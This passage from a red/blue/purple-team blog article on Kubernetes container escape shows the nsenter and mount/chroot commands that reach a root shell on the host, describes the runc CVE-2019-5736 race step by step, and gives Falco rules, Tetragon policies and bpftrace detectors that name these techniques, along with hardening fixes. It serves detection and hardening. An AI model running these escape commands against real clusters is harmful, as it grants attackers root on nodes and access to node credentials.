# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep &quot; / &quot;  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)
</code></pre>
<blockquote>
<p><strong>nsenter</strong> — a Linux utility that enters the namespaces of an existing process. With <code class="" data-line="">-t 1</code> it enters PID 1&#8217;s namespaces, which are the host&#8217;s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.</p>
</blockquote>
<p><code class="" data-line="">hostNetwork: true</code> on its own does not directly produce a root shell, but it exposes the node&#8217;s network interfaces and allows binding to host ports. Combined with access to the cloud provider&#8217;s instance metadata service (IMDS), it enables credential theft from the node&#8217;s IAM role — the attack path covered in <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata and IMDSv1 exploitation</a>.</p>
<h3 id="path-3-runc-cve-escape-cve-2019-5736">Path 3: runc CVE Escape (CVE-2019-5736)</h3>
<p>CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.</p>
<p>The mechanism:</p>
<pre><code class="" data-line="">1. Attacker controls a container image
2. Image&#039;s entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it &lt;pod&gt; -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker&#039;s process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host
</code></pre>
<p>The detection signature for runc-class escapes is writes to <code class="" data-line="">/proc/self/exe</code> or writes to paths that correspond to runc&#8217;s host binary location from within a container process:</p>
<pre><code class="" data-line=""># Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf(&quot;PID %d comm %s writing fd %d\n&quot;, pid, comm, args-&gt;fd);
}
&#039; 2&gt;/dev/null | head -20
</code></pre>
<p>Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: <strong>node patching is the only fix for runc-class CVEs</strong> — pod security policy cannot prevent a vulnerability in the container runtime itself.</p>
<h3 id="safe-simulation-audit-your-cluster-before-an-attacker-does">Safe Simulation: Audit Your Cluster Before an Attacker Does</h3>
<p>These commands are read-only and safe to run against any cluster you have kubectl access to:</p>
<pre><code class="" data-line=""># Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then &quot;hostPID&quot; else &quot;&quot; end),
     (if .spec.hostNetwork then &quot;hostNetwork&quot; else &quot;&quot; end)] |
    join(&quot; / &quot;)&#039; | \
  grep -v &quot;/$&quot; | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + &quot;→&quot; + .hostPath.path)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join(&quot;/&quot;)&#039; | \
  sort -u
</code></pre>
<hr />
<h2 id="blue-phase-ebpf-detection">Blue Phase: eBPF Detection</h2>
<p>Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with <code class="" data-line="">mount</code>, <code class="" data-line="">nsenter</code>, or <code class="" data-line="">/proc/self/exe</code>. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.</p>
<h3 id="falco-privileged-container-and-mount-detection">Falco: Privileged Container and Mount Detection</h3>
<pre><code class="" data-line=""># Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: &gt;
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: &gt;
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: &gt;
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: &gt;
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: &gt;
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: &gt;
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: &gt;
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: &gt;
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: &gt;
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: &gt;
    A process inside a container is reading /proc entries for PIDs
    that don&#039;t belong to it — indicates hostPID=true and enumeration.
  condition: &gt;
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: &gt;
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]
</code></pre>
<h3 id="tetragon-tracingpolicy-for-nsenter-and-mount-syscalls">Tetragon: TracingPolicy for nsenter and Mount Syscalls</h3>
<p>Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.</p>
<pre><code class="" data-line=""># Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: &quot;sys_mount&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # source device (e.g. /dev/sda1)
        - index: 1
          type: &quot;string&quot;     # target mount point
        - index: 2
          type: &quot;string&quot;     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - &quot;host_pid_ns&quot;   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: &quot;__x64_sys_execve&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/nsenter&quot;
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: &quot;vfs_write&quot;
      return: false
      syscall: false
      args:
        - index: 0
          type: &quot;file&quot;
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/proc/self/exe&quot;
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write
</code></pre>
<h3 id="bpftrace-quick-node-level-validation">bpftrace: Quick Node-Level Validation</h3>
<p>Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:</p>
<pre><code class="" data-line=""># Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_mount {
  printf(&quot;%-8d %-20s %-30s -&gt; %-30s type=%s\n&quot;,
    pid, comm,
    str(args-&gt;dev_name),   // source device
    str(args-&gt;dir_name),   // mount target
    str(args-&gt;type));      // filesystem type
}
&#039; 2&gt;/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
</code></pre>
<pre><code class="" data-line=""># Watch for nsenter executions across all processes on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  if (str(args-&gt;filename) == &quot;/usr/bin/nsenter&quot; ||
      str(args-&gt;filename) == &quot;/bin/nsenter&quot;) {
    printf(&quot;nsenter called: pid=%d ppid=%d comm=%s\n&quot;,
      pid, curtask-&gt;real_parent-&gt;pid, comm);
  }
}
&#039; 2&gt;/dev/null
</code></pre>
<h3 id="what-kubernetes-audit-logs-show-and-what-they-miss">What Kubernetes Audit Logs Show (and What They Miss)</h3>
<p>Kubernetes audit logs record API server activity. They show pod creation with <code class="" data-line="">--privileged</code> set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.</p>
<pre><code class="" data-line=""># Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods&quot;]
    verbs: [&quot;create&quot;, &quot;update&quot;, &quot;patch&quot;]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods/exec&quot;]
    verbs: [&quot;create&quot;]
</code></pre>
<pre><code class="" data-line=""># Parse audit log for privileged pod creation
grep &#039;&quot;privileged&quot;:true&#039; /var/log/kubernetes/audit.log | \
  jq -r &#039;[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + &quot;/&quot; + .objectRef.name,
    &quot;privileged=true&quot;
  ] | join(&quot; | &quot;)&#039;

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r &#039;.items[] |
    select(.message | contains(&quot;privileged&quot;)) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(&quot; / &quot;)&#039;
</code></pre>
<p>The audit log gap is important to understand: <strong>audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape</strong>. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-podsecurity-admission-enforce-restricted-profile">Fix 1: PodSecurity Admission — Enforce Restricted Profile</h3>
<p>PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, <code class="" data-line="">hostPath</code> volumes, and requires dropping all capabilities.</p>
<pre><code class="" data-line=""># Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn&#039;t meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
</code></pre>
<p>What Restricted profile blocks (relevant to escape paths):</p>
<pre><code class="" data-line=""># These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: [&quot;ALL&quot;]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not
</code></pre>
<p><strong>Rollout approach for existing clusters:</strong></p>
<p>Start with <code class="" data-line="">warn</code> mode on all namespaces, identify violations, remediate, then promote to <code class="" data-line="">enforce</code>:</p>
<pre><code class="" data-line=""># Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r &#039;.items[] |
    select(.metadata.name | test(&quot;^(kube-system|kube-public|kube-node-lease)$&quot;) | not) |
    .metadata.name&#039; | \
  while read ns; do
    kubectl label namespace &quot;$ns&quot; \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo &quot;Labeled $ns&quot;
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
  -o json | jq -r &#039;.items[] | select(.message | contains(&quot;violates PodSecurity&quot;))&#039;
</code></pre>
<h3 id="fix-2-runtimeclass-hardware-level-isolation-for-untrusted-workloads">Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads</h3>
<p>For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.</p>
<p>gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.</p>
<pre><code class="" data-line=""># Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: &quot;true&quot;   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor&#039;s sentry
  containers:
    - name: app
      image: untrusted-image:latest
</code></pre>
<pre><code class="" data-line=""># Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu
</code></pre>
<blockquote>
<p><strong>For operators:</strong> gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.</p>
</blockquote>
<h3 id="fix-3-seccomp-profile-block-the-syscalls-that-enable-escape">Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape</h3>
<p>Even without gVisor, a custom seccomp profile that explicitly denies <code class="" data-line="">mount</code>, <code class="" data-line="">unshare</code>, and <code class="" data-line="">clone</code> with namespace flags closes the primary escape syscall surface.</p>
<pre><code class="" data-line="">{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ERRNO&quot;,
  &quot;architectures&quot;: [&quot;SCMP_ARCH_X86_64&quot;, &quot;SCMP_ARCH_X86&quot;, &quot;SCMP_ARCH_X32&quot;],
  &quot;syscalls&quot;: [
    {
      &quot;names&quot;: [
        &quot;accept&quot;, &quot;accept4&quot;, &quot;access&quot;, &quot;arch_prctl&quot;,
        &quot;bind&quot;, &quot;brk&quot;, &quot;capget&quot;, &quot;capset&quot;,
        &quot;chdir&quot;, &quot;chmod&quot;, &quot;chown&quot;, &quot;clock_gettime&quot;,
        &quot;clone&quot;,
        &quot;close&quot;, &quot;connect&quot;,
        &quot;dup&quot;, &quot;dup2&quot;, &quot;dup3&quot;,
        &quot;execve&quot;, &quot;exit&quot;, &quot;exit_group&quot;,
        &quot;fchmod&quot;, &quot;fchown&quot;, &quot;fcntl&quot;,
        &quot;fstat&quot;, &quot;fstatfs&quot;, &quot;fsync&quot;,
        &quot;futex&quot;, &quot;getcwd&quot;, &quot;getdents64&quot;,
        &quot;getegid&quot;, &quot;geteuid&quot;, &quot;getgid&quot;, &quot;getgroups&quot;,
        &quot;getpeername&quot;, &quot;getpid&quot;, &quot;getppid&quot;,
        &quot;getrlimit&quot;, &quot;getsockname&quot;, &quot;getsockopt&quot;,
        &quot;gettid&quot;, &quot;gettimeofday&quot;, &quot;getuid&quot;,
        &quot;inotify_add_watch&quot;, &quot;inotify_init1&quot;,
        &quot;listen&quot;, &quot;lseek&quot;, &quot;lstat&quot;,
        &quot;madvise&quot;, &quot;mmap&quot;, &quot;mprotect&quot;,
        &quot;munmap&quot;, &quot;nanosleep&quot;,
        &quot;open&quot;, &quot;openat&quot;,
        &quot;pipe&quot;, &quot;pipe2&quot;, &quot;poll&quot;, &quot;ppoll&quot;,
        &quot;prctl&quot;, &quot;pread64&quot;, &quot;pwrite64&quot;,
        &quot;read&quot;, &quot;readlink&quot;, &quot;readv&quot;,
        &quot;recvfrom&quot;, &quot;recvmsg&quot;, &quot;recvmmsg&quot;,
        &quot;rename&quot;, &quot;rt_sigaction&quot;, &quot;rt_sigprocmask&quot;,
        &quot;rt_sigreturn&quot;, &quot;sched_getaffinity&quot;,
        &quot;select&quot;, &quot;sendfile&quot;, &quot;sendmsg&quot;, &quot;sendto&quot;,
        &quot;set_robust_list&quot;, &quot;set_tid_address&quot;,
        &quot;setgid&quot;, &quot;setgroups&quot;, &quot;setuid&quot;,
        &quot;setsockopt&quot;, &quot;shutdown&quot;,
        &quot;socket&quot;, &quot;socketpair&quot;,
        &quot;stat&quot;, &quot;statfs&quot;, &quot;symlink&quot;,
        &quot;tgkill&quot;, &quot;time&quot;, &quot;timerfd_create&quot;,
        &quot;timerfd_settime&quot;, &quot;truncate&quot;,
        &quot;uname&quot;, &quot;unlink&quot;, &quot;unlinkat&quot;,
        &quot;wait4&quot;, &quot;waitid&quot;,
        &quot;write&quot;, &quot;writev&quot;
      ],
      &quot;action&quot;: &quot;SCMP_ACT_ALLOW&quot;
    }
  ]
}
</code></pre>
<p>Apply via pod spec:</p>
<pre><code class="" data-line="">spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: &quot;container-escape-block.json&quot;
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
</code></pre>
<pre><code class="" data-line=""># Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
</code></pre>
<h3 id="fix-4-network-policy-contain-the-blast-radius-after-escape">Fix 4: Network Policy — Contain the Blast Radius After Escape</h3>
<p>Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.</p>
<pre><code class="" data-line=""># Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
</code></pre>
<pre><code class="" data-line=""># Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed
</code></pre>
<h3 id="fix-5-node-isolation-co-location-risk">Fix 5: Node Isolation — Co-location Risk</h3>
<p>An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node&#8217;s credentials and can pivot to anything else scheduled on that node.</p>
<pre><code class="" data-line=""># Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legitimate workloads that require &#8211;privileged or hostPID.</strong> CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.</p>
<p><strong>Seccomp Restricted blocks some monitoring agents.</strong> The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run <code class="" data-line="">strace -c -f ./your-agent</code> to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: <code class="" data-line="">perf_event_open</code> (used by profilers), <code class="" data-line="">ptrace</code> (used by some debuggers), <code class="" data-line="">bpf</code> (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.</p>
<p><strong>runc CVEs require node patching, not policy.</strong> PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (<code class="" data-line="">containerd/containerd</code>) and runc (<code class="" data-line="">opencontainers/runc</code>) specifically.</p>
<p><strong>hostPath volumes are a partial equivalent to &#8211;privileged.</strong> A pod without <code class="" data-line="">--privileged</code> but with a hostPath volume mounting <code class="" data-line="">/etc</code> or <code class="" data-line="">/var/lib/kubelet</code> can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from <code class="" data-line="">--privileged</code>.</p>
<p><strong>RuntimeClass with gVisor has syscall compatibility gaps.</strong> Applications that use <code class="" data-line="">io_uring</code>, certain socket options, or kernel modules will not work under gVisor&#8217;s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Escape Path</th>
<th>Precondition</th>
<th>Detection Signal</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged container → mount</td>
<td><code class="" data-line="">privileged: true</code></td>
<td>Falco: mount syscall from container; Tetragon: sys_mount kprobe</td>
<td>PodSecurity Restricted enforce; seccomp blocks mount</td>
</tr>
<tr>
<td>hostPID + nsenter</td>
<td><code class="" data-line="">hostPID: true</code></td>
<td>Falco: nsenter exec in container; audit log: pod creation with hostPID</td>
<td>PodSecurity Restricted; blocks hostPID</td>
</tr>
<tr>
<td>hostNetwork + IMDS</td>
<td><code class="" data-line="">hostNetwork: true</code></td>
<td>CloudTrail: IMDSv1 call from unexpected source</td>
<td>Enforce IMDSv2 hop limit 1; PodSecurity Restricted</td>
</tr>
<tr>
<td>runc CVE (CVE-2019-5736)</td>
<td>Unpatched runc</td>
<td>Tetragon: vfs_write to /proc/self/exe</td>
<td>Patch runc/containerd; use RuntimeClass (gVisor)</td>
</tr>
<tr>
<td>hostPath volume mount</td>
<td>hostPath to sensitive path</td>
<td>Falco: sensitive host file access; PodSecurity audit</td>
<td>PodSecurity Restricted (blocks hostPath)</td>
</tr>
<tr>
<td>Escaped → API server</td>
<td>Node credential access</td>
<td>Audit log: API calls from node IP at unexpected time</td>
<td>Network policy blocking node→API server egress</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Kubernetes container escape</strong> starts at the kernel: <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, and <code class="" data-line="">hostNetwork</code> remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags</li>
<li>Two commands from privileged container to root on the node: <code class="" data-line="">mount /dev/sda1 /mnt/host</code> and <code class="" data-line="">chroot /mnt/host /bin/bash</code> — this is not a sophisticated exploit, it is a default kernel behavior</li>
<li>eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation</li>
<li>PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and hostPath volumes before a pod schedules</li>
<li>runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement</li>
<li>Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Container escape requires access to a running pod. But what if the attacker didn&#8217;t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.</p>
<p>Get EP09 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" 